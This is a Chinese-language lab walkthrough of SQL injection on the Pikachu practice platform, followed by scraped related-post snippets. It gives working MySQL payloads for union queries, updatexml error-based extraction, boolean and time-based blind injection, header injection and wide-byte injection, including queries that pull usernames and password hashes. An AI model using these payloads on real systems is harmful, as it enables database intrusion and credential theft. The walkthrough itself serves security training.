Pikahu-SQL注入模块(Sql inject)(实验实战篇)

一,数字型注入:

看到界面后我们发现只能输入id(1-6),我们来试试:

测试注入时,我们需要思考提交的参数后台是如何操作的。我们提交了一个d,返回了用户名和邮箱。正常来说,我们的数据是放在数据库里的,当我们提交了这个id的,后台会带这个参数到数据库里查询。

因为是用POST语句取得我们传递的参数值,传递给一个变量,再到数据库查询。所以我们猜测后台的查询语句大概是下面这样

$id=$_POST[‘id‘]

select 字段1,字段2 from 表名 where id=1$id 这里的id 就是提供的1-6

我们抓包来看一下:

这时只返回了一个值,现在我就是入侵者,我截获了这个数据包,但是我想要的是其它库中的数据,怎么办啊!

我们只要让这个式子恒等,无论输入的是啥都可以返回正确的结果:我们将id的式样改为1 or 1=1 我们再试试。

此时的这种情况就是明显的存在数字注入漏洞。

二、字符型注入(GET)

我们看到界面随意输入一些东西:输入不存在的用户时,会提示用户不存在。另外这是一个 GET 请求,我们传递的参数会出现都 URL 中

因为这里输入的查询用户名是字符串,所以在查询语句中需要有单引号。猜想后台的SQL查询语句为

$name=$_GET[‘username‘]
select 字段1,字段2 from 表名 where username=‘$name‘

我们需要构造闭合,闭合后台查询语句中的第一个单引号,然后注释掉第二个单引号,构造的payload如下

username ‘or‘1‘=‘1‘#

MySQL中有3种注释:

① #

② -- (最后面有个空格)

③ /**/,内联注释,这个可以在SQL语句中间使用。select * from /*sqli*/ users;

我们看到全部用户信息都出来了,破坏者又得逞了!

三、搜索型注入:

还是先随便输入试一下效果:

我们看到当我们搜索的字母存在于用户名中,则会返回对应的用户。我们构造恒等!

选择语句:L%‘ or ‘1‘=‘1‘#

四、XX型注入

经过测试我们发现还是字符型注入,只不过是包裹的形式不一样罢了! 单括号单引号闭合    不多说

g‘) or 1=1#

五、在这里我们再次回顾普及一下知识:

insert/update/delete注入

在这3种情况中,我们不能使用 union 去做联合查询,因为这不是查询,而是操作

基于函数报错注入(updatexml)

常用的报错函数:updatexml()、extractvalue()、floor()

基于函数报错的信息获取(select / insert / update / delete)

技巧思路:

  • 在 MySQL 中使用一些指定的函数来制造报错,从报错信息中获取设定的信息
  • select / insert /update / delete 都可以使用报错来获取信息

背景条件:

  • 后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端

三个常用函数

  • updatexml(): MySQL 对 XML 文档数据进行查询和修改的 XPATH 函数
  • extractvalue():MySQL 对 XML 文档数据进行查询的 XPATH 函数
  • floor():MySQL中用来取整的函数

updatexml()

updatexml()函数作用:改变(查找并替换)XML 文档中符合条件的节点的值

语法:UPDATEXML (XML_document, XPath_string, new_value)

  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  • 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。不过这里用不到。
  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据
  • Xpath语法:https://www.cnblogs.com/Loofah/archive/2012/05/10/2494036.html

XPath 定位必须是有效的,否则会发生错误

我们在 pikachu 平台上的字符型注入中实验,我们利用报错来获取信息。

union联合注入:一个字,就是猜,然后去试验,我们相到了二分法。

第一步:判断字段数:1‘)  order by 4#

1‘)  order by 2#

可以知道字段数是2

第二步:使用联合查询语句得到数据库:pikachu

1‘)  union select database(),2#

第三步:查询数据库中的表

1‘) union select table_schema,table_name from information_schema.tables where table_schema=‘pikachu‘#

第四步:查询users表中的字段名:

1‘) union select table_name,column_name from information_schema.columns where table_name=‘users‘#

第五步:联合查处得到用户名和密码

1‘)  union select username,password from users#

updatexml()报错型注入:

1‘ and updatexml(1,concat(0x7e, version()), 0)#

看得到了我们 MySQL 的数据版本了。那我们把 version() 换成 database() 就能取得数据库的名称了。

1‘ and updatexml(1, concat(0x7e, database()), 0)#

查询表名 :1‘ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu‘)),0)#

但是此时会报错,返回的数据多于 1 行 ,只能显示一行。

解决办法:我们可以修改(limit 0,1)的值,第0位置第一个数据

1‘ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu‘ limit 0,1)),0)#

上面返回了查询结果中的第一个表名,如果要查询第二个表名,我们可以把 limit 语句换成 limit 1,1

limit 后的第一个数据是起始位置,第二个数字是取出的数据条数

取出所有的表名,就去获取字段

1‘ and updatexml (1,concat(0x7e,(select column_name from information_schema.columns where table_name=‘users‘ limit 0,1)),0)#

以此类推,取出所有的列名。我们就能去取数据了

1‘ and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)##

然后根据得到的用户名,去查询password,发现加过密,不要紧百度查找md5编码器都可以翻译

1‘ and updatexml(1,concat(0x7e,(select password from users where username=‘admin‘ limit 0,1)),0)#

extractvalue()与updatexml()是亲兄弟,用法一致。

六、insert/update注入

既然不可以用联合查询,那么就用报错注入吧!

1‘ or updatexml(1,concat(0x7e,database()),0) or ‘  爆数据库:
insert下报错:

进入注册页面填写注册信息:输入查询语句,就出来了,不再多说。

 

update报错注入也是:

              

七、delete注入

看这个界面,我们先进行留言,到底哪里是突破点呐,我们可以对删除过程进行抓包!

还是报错型语句:

id=1 or updatexml(1,concat(0x7e,database()),0)

因为是在url中,所以需要进行url的编码:

我们看成功了!

八、Http Header注入:

HTTP Header 详解
HTTP(HyperTextTransferProtocol) 即超文本传输协议,目前网页传输的的通用协议。HTTP协议采用了请求/响应模 型,浏览器或其他客户端发出请求,服务器给与响应。就整个网络资源传输而言,包括message-header和message-body两部分。首先传 递message-header,即http header消息 。http header 消息通常被分为4个部分:general  header, request header, response header, entity header。但是这种分法就理解而言,感觉界限不太明确。根据维基百科对http header内容的组织形式,大体分为Request和Response两部分

首先我们先登录进去看看,登录进去发现头部可能存在注入,我们来进行抓包:

注意:我们看到user-agent或者cookie都可以进行注入

将admin‘ and updatexml(1,concat(0x7e,database()),0)#粘贴到cookie:ant[uname]= 后面,发现注入成功

将1‘ or updatexml(1,concat(0x7e,database()),0) or‘粘到User-Agent出,如图,点击go,发现也可以。

九、sql盲注(base on boolian)

盲注,我们进行注入时,一般只会返回显示错误还是正确的信息,所以工作量很大,需要耐心试。

当然我们这时候就可以运用二分法来缩减工程量:1‘ and ascii(substr(database(),1,1))=112# 回显为真,猜出database的第一个单词是p

1‘ and ascii( substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) )>112#回显错误。。。

十:sql盲注(base on time)

基于时间的盲注,当数据正确会有返回延迟,错误就没有了。

1‘ and if((substr(database(),1,1))=‘p‘,sleep(5),null )#用 if 做判断,通过 database 把数据库名称取出来,通过 substr 把数据库第一个字符取出来,和 p 作比较,如果等于p 则暂停5秒钟再返回

十一、宽字节注入

当我们输入有单引号时被转义为\’,无法构造 SQL 语句的时候,可以尝试宽字节注入。GBK编码中,反斜杠的编码是 “%5c”,而 “%df%5c” 是繁体字 “連”。在皮卡丘平台中,将利用 BurpSuite 截获数据包,发送到 Repeater 中,在里面写入 payload当我们用通常的测试 payload时,是无法执行成功的,下面的payload会报错:

kobe‘ or 1=1#

因为在后台单引号会被转义,在数据库中执行时多了个反斜杠。我们可以用下面的payload,在单引号前面加上 %df,让单引号成功饶过。

十二,其它办法进行SQl注入:

除了上面的方法之外,还有其他的办法,比如暴力破解 一句话木马 sqlmap工具等。

原文地址:https://www.cnblogs.com/li2019/p/12634879.html

时间: 2024-11-02 06:54:24

Pikahu-SQL注入模块(Sql inject)(实验实战篇)的相关文章

怎样写防止Sql注入的Sql语句

1.什么是SQL注入 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 2.如何防止SQL注入 防止SQL注入的方法有两种: a.把所有的SQL语句都存放在存储过程中,这样不但可以避免SQL注入,还能提高一些性能,并且存储过程可以由专门的数据库管理员(DBA)编写和集中管理,不过这种做法有时候针对相同的几个表有不同条件的查询,SQL语句可能不同,这样就会编写大量的存储过程. b.使用参数化SQL查询语句. 3.为什

Discuz!7.2 faq.php文件SQL注入漏洞分析及利用实战

[antian365.com] simeon 最近网上公开了Discuz!7.2版本faq.php文件SQL注入0day,通过对文件漏洞分析以及实战测试,效果不错,公开利用exp的利用需要对SQL语句以及数据库等相当了解,在某些情况下需要多种技术配合才能最终攻克目标,下面就漏洞代码以及实战利用等进行探讨,对获取管理员密码的利用,uc_key获取webshell,插件导入获取Webshell等进行探讨. 1. faq.php文件SQL注入漏洞代码分析 本次存在漏洞的文件为faq.php,打开该文件

SQL注入学习总结(七):其他类型SQL注入之SQL约束攻击

其他类型注入的详解(4) 4.sql约束攻击 知识点 数据库字符串比较:在数据库对字符串进行比较时,如果两个字符的长度不一样,则会将较短的字符串末尾填充空格,使两个字符串的长度一致. 比如这两条语句 select * from admin where username='vampire' select *from admin where username='vampire ' 他们的查询结果是一致的. INSERT截断: 这是数据库的另一个特性,当设计一字段时,我们都必须对其设定一个最大长度,比

SEED实验系列:Collabtive系统SQL注入实验

本课程原文链接为:https://www.shiyanlou.com/courses/291.实验楼已经为此课程的实践提供了在线实验环境,想要尝试体验的,可以直接前往实验楼进行实践操作. 你能够喜欢我们的课程,让我们感到异常高兴,我们也非常欢迎你将本课程分享给更多的人,我们唯一的要求就是请保留我们的课程原文链接. 一.实验描述 SQL注入漏洞的代码注入技术,利用web应用程序和数据库服务器之间的接口.通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意

实验十一:sql注入之asp+access案例

仅供学习参考,2013.5.8日学习整理记录 潜江水产案例(sql注入之asp+access)实验目的通过注入漏洞上传config.asp实验过程如下所示:实验前提:在服务器上要搭建好IIS开始实验把已经编好的web通过共享的方式上传到服务器上,然后解压这个潜江水产的数据包文件,然后把这个数据包导入到c:\inetpub\wwwroot下面,接着通过命令行inetmgr打开搭建好的默认网站,然后在默认网站中的主目录下面指定潜江水产的路径,然后在配置中的设置中启用父路径,在指引中添加index.a

SQL注入学习资料总结

转载自:https://bbs.ichunqiu.com/thread-12105-1-1.html  什么是SQL注入 SQL注入基本介绍 结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言.1986年10月,美国国家标准学会对SQL进行规范后,以此作为关系式数据库管理系统的标准语言(ANSI X3. 135-1986),1987年得到国际标准组织的支持下成为国际标准.不过各种通行的数据库系统在其实践过程中都

浅入浅出SQL注入

已经开始了学习牛腩新闻发布系统,在讲后台代码的时候讲了一些重构SQLHelper的知识,存储过程和触发器等,这些以前都是接触过的.而SQL注入是以前没有注意过的,所以停下来总结学习一下SQL注入. 首先什么是SQL注入呢? 实战篇~~~~~~~~~~ SQL注入概念 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到

SQL注入专题--整理帖

SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别, 所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉.        随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患.用户可以提交一段数据库查询代码,根据程序返回的结果,获

【web安全】第六弹:手工SQL注入详解

前一段时间,在对SQL注入有了新的理解之后,写了这篇文章.本来准备投稿,因为内容过于基础被打回来了,想想屯着也没意思,发出来发出来~~本来有好多图的,但是博客园发图很麻烦,word文档的链接会贴在文章最后面,有兴趣的可以下载下来看. 注:本文目标读者是对SQL注入有一定了解,能使用一些工具(SQLMAP.pangolin等)进行自动化SQL注入测试,又想了解工具原理和SQL注入原理的童鞋. 0x00 基础理论篇 0x01 注入技巧&基本模式: 首先,要对下面的一些函数和基本语句有一定的了解. 1